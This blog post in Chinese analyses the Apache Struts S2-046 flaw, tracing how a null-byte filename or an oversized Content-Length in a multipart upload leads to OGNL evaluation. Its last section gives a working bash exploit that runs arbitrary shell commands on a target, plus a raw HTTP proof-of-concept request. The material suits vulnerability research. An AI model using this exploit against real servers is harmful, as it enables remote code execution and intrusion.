Learning Man's Blog

s2-046 漏洞分析

字数统计: 1.6k阅读时长: 7 min
2018/10/17 Share

影响版本:

Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10

漏洞产生原因主要在于使用Jakarta插件处理文件上传操作,对content-length以及filename处理

【占坑】分析基于2.3.30,貌似高版本触发点不太一样,原理大致相同

0x01 踩坑

按照参考资料1部署就可以了

0x02 分析

跟进分析

这里看了很多分析,最后感觉还是按处理类来辨析更好

i. JakartaMultiPartRequest

主要是利用空字节解析错误抛出错误,在对错误信息本地化时候造成了命令执行

  1. 项目配置

    P.S. 此配置其实可以不用声明,因为default.properties中默认值即为jakarta

     <constant name="struts.multipart.parser" value="jakarta" />
  2. 对应处理类

      <bean type="org.apache.struts2.dispatcher.multipart.MultiPartRequest" name="jakarta" class="org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest" scope="default"/>
  3. 进入parse

     public void parse(HttpServletRequest request, String saveDir) throws IOException {
         String errorMessage;
         try {
             this.setLocale(request);
             this.processUpload(request, saveDir);
         } catch (SizeLimitExceededException var5) {
             ...
         } catch (Exception var6) {
             if (LOG.isWarnEnabled()) {
                 LOG.warn("Unable to parse request", var6, new String[0]);
             }
    
             errorMessage = this.buildErrorMessage(var6, new Object[0]);
             if (!this.errors.contains(errorMessage)) {
                 this.errors.add(errorMessage);
             }
         }
    
     }
  4. 进入processUpload,这里判断是否为文件上传表单,如果是进入processFilefield进行处理

         protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {
         Iterator i$ = this.parseRequest(request, saveDir).iterator();
    
         while(i$.hasNext()) {
             FileItem item = (FileItem)i$.next();
             if (LOG.isDebugEnabled()) {
                 LOG.debug("Found item " + item.getFieldName(), new String[0]);
             }
    
             if (item.isFormField()) {
                 this.processNormalFormField(item, request.getCharacterEncoding());
             } else {
                 this.processFileField(item);
             }
         }
    
     }
  5. 没提前下断点,可以看到已经抛出异常了,跟进org.apache.commons.fileupload.disk.DiskFileItem#getName

     public String getName() {
         return Streams.checkFileName(this.fileName);
     }
  6. 再跟进checkFileName,这里会判断是否存在空字节,有的话就定位到空字节并抛出错误信息

  7. 跟进后,会回到parse中获取异常,进入buildErrorMessage

  8. 在buildErrorMessage中看到了熟悉的本地化,完工~

     protected String buildErrorMessage(Throwable e, Object[] args) {
         String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
         if (LOG.isDebugEnabled()) {
             LOG.debug("Preparing error message for key: [#0]", new String[]{errorKey});
         }
    
         return LocalizedTextUtil.findText(this.getClass(), errorKey, this.defaultLocale, e.getMessage(), args);
     }

ii. JakartaStreamMultiPartRequest

主要是利用超大的content-type进入错误处理逻辑,在处理错误信息本地化造成命令执行

  1. 注意项目配置中

     <constant name="struts.multipart.parser" value="jakarta-stream" />
    
     <!-- 可选配置 -->
     <constant name="struts.multipart.maxSize" value="1" />
  2. 到core下的struts-default.xml中可见

     <bean type="org.apache.struts2.dispatcher.multipart.MultiPartRequest" name="jakarta-stream" class="org.apache.struts2.dispatcher.multipart.JakartaStreamMultiPartRequest" scope="default"/>
  3. 通过parse开始进行解析

     public void parse(HttpServletRequest request, String saveDir) throws IOException {
         try {
             this.setLocale(request);
             this.processUpload(request, saveDir);
         } catch (Exception var5) {
         ...
         }
     }
  4. 关键代码,这里会通过isRequestSizePermitted判断文件大小,如果文件过大就会调用addFileSkippedError函数(注意:如果payload中有空字节,则会在itemStream.getName()时候抛出错误,则会和上面利用方法一样

     private void processUpload(HttpServletRequest request, String saveDir) throws Exception {
         if (ServletFileUpload.isMultipartContent(request)) {
             boolean requestSizePermitted = this.isRequestSizePermitted(request);
             ...
             while(i.hasNext()) {
                 try {
                     FileItemStream itemStream = i.next();
                     if (itemStream.isFormField()) {
                         ...
                     } else if (!requestSizePermitted) {
                         this.addFileSkippedError(itemStream.getName(), request);
                         LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", new Object[]{itemStream.getName(), this.maxSize});
                     } else {
                         ...
                     }
                 } catch (IOException var7) {
                     ...
                 }
             }
         }
    
     }
  5. 跟入isRequestSizePermitted函数,只要content-length大于maxSize即返回false进入addFileSkippedError

     private boolean isRequestSizePermitted(HttpServletRequest request) {
         if (this.maxSize != -1L && request != null) {
             return (long)request.getContentLength() < this.maxSize;
         } else {
             return true;
         }
     }

    maxSize默认被定义为2097152byte,即2M(此配置可更改,所以payload中content-length最好写大一点)

  6. 回到processUpload进入addFileSkippedError,可见直接把Content-Disposition中的filename传入

  7. 跟进,可以看到对报错内容进行本地化处理

流程梳理

  1. jakarta

     st=>start: 传入之后通过struts-default.xml进入org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest
     a=>operation: 进入parse进行数据包解析,注意这里捕获异常
     b=>operation: 进入processUpload对内容进行解析,使用processFileField对上传文件表单进行分析
     c=>operation: 在getName时由于文件名含有00空字节导致抛出一个异常,异常内容为文件名00之前内容
     d=>operation: 回到parse中的异常捕获,使用buildErrorMessage构建异常信息
     e=>operation: 使用本地化LocalizedTextUtil.findText()对信息进行处理
     en=>end: 一些列操作后执行ognl
    
     st->a->b->c->d->e->en
  2. jakarta-stream

     st=>start: 传入之后通过struts-default.xml
     t=>operation: 进入org.apache.struts2.dispatcher.multipart.JakartaStreamMultiPartRequest
     a=>operation: 进入parse进行数据包解析,注意这里也有一个捕获异常
     b=>operation: 进入processUpload对内容进行解析,首先判断content-length是否过长
     c=>operation: 过长则进入addFileSkippedError进行错误信息构建,进入之前获取上传文件名
     d=>condition: 文件名是否包含00空字节
     e=>operation: 进入addFileSkippedError,调用buildErrorMessage
     f=>operation: 回到parse捕获异常(类似jakarta利用)
     g=>operation: 调用buildErrorMessage构建异常信息
     en=>end: 一些列操作后执行ognl
    
     st->t->a->b->c->d
     d(yes)->f
     d(no)->e
     e->g
     f->g
     g->en

0x03 利用条件

在Struts使用Jakarta默认配置时,数据流并没有经过JakartaStreamMultiPartRequest。根据官方解释,在Struts 2.3.20以上的版本中,Struts2才提供了可选择的通过Streams实现Jakarta组件解析的方式。

  1. JakartaMultiPartRequest

    1. All 漏洞版本
    2. Payload类型:
      1. 00空字节
  2. JakartaStreamMultiPartRequest

    1. 版本 > 2.3.20
    2. 配置 jakarta-stream
    3. 需要content-length > minSize
    4. Payload类型:
      1. 00空字节
      2. 00空字节 -> 触发逻辑与上面JakartaMultiPartRequest相似

0x04 利用方式

  1. 00

    payload其实通用的,主要注意下00位置(payload为\0b实际为00 62

#!/bin/bash

url=$1
cmd=$2

boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}")

printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload"
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- [email protected]
  1. 00 && content-length

    主要留意这个是配合content-length用的

Content-Length: 1000000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2

------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain


foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--
  1. 00 && content-length

    上面改改就行了

参考资料

  1. https://github.com/pwntester/S2-046-Poc
  2. https://www.anquanke.com/post/id/85776
  3. https://cloud.tencent.com/developer/article/1144774
  4. https://xz.aliyun.com/t/221
CATALOG
  1. 0x01 踩坑
  2. 0x02 分析
    1. 跟进分析
      1. i. JakartaMultiPartRequest
      2. ii. JakartaStreamMultiPartRequest
    2. 流程梳理
  3. 0x03 利用条件
  4. 0x04 利用方式
  5. 参考资料